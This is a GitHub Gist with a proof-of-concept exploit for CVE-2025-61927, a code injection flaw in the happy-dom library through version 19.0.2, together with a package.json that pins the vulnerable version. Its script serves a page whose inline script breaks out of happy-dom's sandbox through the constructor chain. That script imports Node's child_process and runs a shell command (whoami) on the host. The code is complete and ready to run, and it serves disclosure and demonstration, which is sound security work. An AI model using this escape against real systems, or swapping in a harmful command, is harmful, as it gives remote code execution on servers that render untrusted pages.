Created
October 16, 2025 09:11
-
-
Save Kirill89/53b514b5c320097288e7baf052769feb to your computer and use it in GitHub Desktop.
happy-dom Arbitrary Code Injection <= 19.0.2 Proof of Concept (PoC)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import * as http from 'node:http'; | |
| const server = http.createServer((req, res) => { | |
| res.end(`<script> | |
| this.constructor.constructor("return import('node:child_process')")().then((cp) => { | |
| console.log(cp.execSync('whoami').toString().trim()); | |
| }); | |
| </script>`); | |
| }); | |
| server.listen(8765); | |
| // CVE-2025-61927 PoC // | |
| import { Browser, BrowserErrorCaptureEnum } from 'happy-dom'; | |
| const browser = new Browser({ console }); | |
| const page = browser.newPage(); | |
| await page.goto('http://localhost:8765'); | |
| await page.waitUntilComplete(); | |
| await browser.close(); | |
| // end // | |
| server.close(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "name": "happy-dom-rce", | |
| "main": "index.js", | |
| "dependencies": { | |
| "happy-dom": "19.0.2" | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment